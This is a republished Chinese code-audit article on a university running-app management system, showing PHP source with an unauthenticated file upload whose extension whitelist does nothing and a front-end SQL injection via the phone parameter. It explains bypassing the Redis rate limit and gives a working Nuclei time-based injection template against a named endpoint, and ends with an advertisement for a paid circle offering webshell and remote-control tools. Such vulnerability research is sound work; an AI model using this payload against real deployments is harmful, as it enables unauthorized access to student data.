文章总结: 该文档针对某高校乐跑通用系统进行代码审计,揭示了前台文件上传与SQL注入两大漏洞。上传功能因类属性缺失致白名单失效且缺乏鉴权,SQL注入则因参数拼接引发,需绕过缓存限制。作者给出了漏洞复现条件与Nuclei验证POC,具有较高实战价值,文末附带安全社群推广信息。 综合评分: 82 文章分类: 代码审计,漏洞分析,WEB安全,漏洞POC
某高校乐跑通用系统代码审计
原创
zyxa zyxa
众亦信安
2026年3月9日 11:20 湖南
声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。
众亦信安,中意你啊!
温馨提示:当前公众号推送机制调整,仅常读及星标账号可展示大图推送。建议各位将众亦信安团队设为“星标“,以便及时接收我们的最新内容与技术分享。
前台文件上传
路径:/Application/Admin/Controller/UploadController.class.php
这里继承了Common控制器下的upload控制器 未继承Base控制器 这里没有对权限进行校验追溯到父类看看下的方法父类下有一个uploadImg方法
public function uploadImg() { $upload = new UploadFile(); $upload->maxSize = 3145728; // 设置附件上传大小 $upload->exts = array('jpg', 'gif', 'png', 'jpeg'); // 设置附件上传类型 //没有的文件夹新建,要一层一层的建立 $path = './Public/Upload/pic/'; !is_dir($path) && mkdir($path, 0777); $path.=$this->_dir . '/'; !is_dir($path) && mkdir($path, 0777); $path.=date('Y-m-d') . '/'; !is_dir($path) && mkdir($path, 0777); $upload->savePath = $path; // 上传目录
$savepath = $this->_dir . '/' . date('Y-m-d') . '/'; //存储路径
$upload->saveRule = 'uniqid'; $upload->thumb = true; $upload->thumbMaxWidth = $this->width; $upload->thumbMaxHeight = $this->height; $upload->uploadReplace = true; $upload->thumbPrefix = 'thumb_'; $upload->thumbRemoveOrigin = false; //删除原图吗? $info = $upload->upload(); if (!$info) { echo json_encode(array('status' => 0, 'info' => $upload->getErrorMsg())); } else {// 上传成功 获取上传文件信息 $imgs = $upload->getUploadFileInfo(); //$data['mod'] = $this->_dir; $data['src'] = $savepath . $imgs[0]['savename']; $data['thumb'] = $savepath . 'thumb_' . $imgs[0]['savename']; $data['create_time'] = date('Y-m-d H:i:s', time()); //$data['ext'] = $imgs[0]['extension']; //$data['size'] = $imgs[0]['size']; //$Image = getimagesize($path . $imgs[0]['savename']); //$data['width'] = $Image[0]; //$data['height'] = $Image[1]; //$data['isdel'] = 0; $model = M('img_attach'); $id = $model->add($data);
//同时上传一份到阿里云上 oss_upload("./Public/Upload/pic/".$data['src']); // oss_upload("./Public/Upload/pic/".$data['thumb']);
echo json_encode( array( 'status' => 1, 'id' => $id, 'savepath' => '/Upload/pic/' . $savepath, 'savename' => $imgs[0]['savename'], 'type' => 1, ) ); } }
可以看到先初始化了UploadFile()$upload = new UploadFile();然后传入文件大小和ext到UploadFIle类中
$upload->maxSize = 3145728; // 设置附件上传大小 $upload->exts = array('jpg', 'gif', 'png', 'jpeg'); // 设置附件上传类型
但是UploadFile类中并无ext参数 所以这个白名单是废的然后再调用UploadFile类中的upload1方法进行上传
前台sql注入
public function detail() { C('LAYOUT_ON', false); if (IS_POST) { $userAppealModel = new UserAppealModel(); $check = $this->checkCode(); $phone = I('post.phone'); $phoneKey = 'appeal_detail_' . $phone; $sessionKey = 'appeal_' . cookie('PHPSESSID'); $redis = newRedis(); $listJson = $redis->get($phoneKey); $count = $redis->incr($sessionKey); if ($count > 10) { debJson(["ServerNo" => 400, "ServerMsg" => "亲,请稍后再试,不要频繁查询~"]); } if (!$check) { debJson(["ServerNo" => 400, "ServerMsg" => "验证码错误!"]); } if (!$phone) { debJson(["ServerNo" => 400, "ServerMsg" => "手机号错误!"]); } if (!$listJson) { $list = $userAppealModel->where('phone=' . $phone)->order('update_time desc')->select(); if (!$list) { $list = []; } foreach ($list as &$appeal) { if ($appeal['status'] == 1) { $appeal['update_time'] = '预计' . date("Y-m-d", strtotime("+2 day", strtotime($appeal['update_time']))) . '处理'; } $appeal['status_desc'] = $userAppealModel::$statusArr[$appeal['status']]; $appeal['type_desc'] = $userAppealModel::$typeArr[$appeal['type']]; if ($appeal['type'] == 3) { $appeal['invalid_type_desc'] = $userAppealModel::$invalidTypeArr[$appeal['invalid_type']]; } } $listJson = json_encode($list); $redis->set($phoneKey, $listJson, 60 * 10); $redis->expire($sessionKey, 60 * 10); }
debJson(["ServerNo" => 200, "ServerMsg" => $listJson]); } $this->assign('table_show', 0); $this->assign('release_data', $this->release_check()); return $this->display(); }
这里主要注意三个变量
$phone = I('post.phone');$phoneKey = 'appeal_detail_' . $phone;$sessionKey = 'appeal_' . cookie('PHPSESSID');
从post中去phone参数赋值给变量phone,$phoneKey为appeal_detail_拼接变量phone,$sessionKey为appeal_拼接cookie中PHPSESSID的值
这里要注意的是 他这里count变量用了redis存缓存来防止数据提交过多然后如果count小于10 则进入if(!$listJson)判断 ,而listJson的值为从redis中取键名为变量phoneKey的值 如果为null则走入下面的where方法(TP自带方法),可以看到phone的值有变量$phone变量直接拼接而成所以这里注入我们需要满足几个条件:
- 绕过count (随机PHPSESSID值)
- listJson需要为空(随机手机号)
即可进行注入
id: Lepao-Manager-Sql-Boolinfo: name: Lepao-Manager-Sql-Bool author: xxx severity: info description: description reference: tags: tagsvariables: a: '{{rand_int(100, 999)}}' b: '{{rand_int(100, 999)}}'requests: - raw: - | @timeout: 10s POST /bdtm_school_admin/index.php/User/detail HTTP/2 Host: {{Hostname}} Cookie: PHPSESSID={{a}} Content-Type: application/x-www-form-urlencoded Content-Length: 21
phone={{b}}||sleep(3)
matchers-condition: and matchers: - type: dsl dsl: - 'duration>=3' - 'status_code == 200' condition: and
tips:
圈子专注于渗透测试、漏洞挖掘、免杀对抗、逆向分析四大核心方向,同时提供各类实战工具、0day 情报与长期更新的技术资源。目前已更新包括 suo5 二开(含流量修改及客户端工具)、哥斯拉特战版二开(持续维护)、以及 0day 披露等内容。
未来还将陆续上线自研 webshell 管理工具、CS 远控定制版本、内网漏洞批量检测工具(fscan 二开 web 界面)、src 与 edu 高赏金积分报告(脱敏)、以及历年 hw 实战案例复盘等深度内容,致力于打造一个真正能提升技术、辅助实战的高质量交流圈。
目前定价 129 / 年,前 30 名入圈师傅可享 85 折优惠,欢迎各位热爱技术的师傅加入,一起交流、一起进步。
盒子
携程
小红书总榜第二第三
攻防
往这里看
点点关注不迷路,不定时持续分享各种干货。可关注公众号回复”进群”,也可添加管理微信拉你入群。
项目交流,src/众测挖掘,重大节日保障,攻防均可联系海哥微信。
入了小圈的朋友联系海哥进内部交流群。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:众亦信安 zyxa zyxa《某高校乐跑通用系统代码审计》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论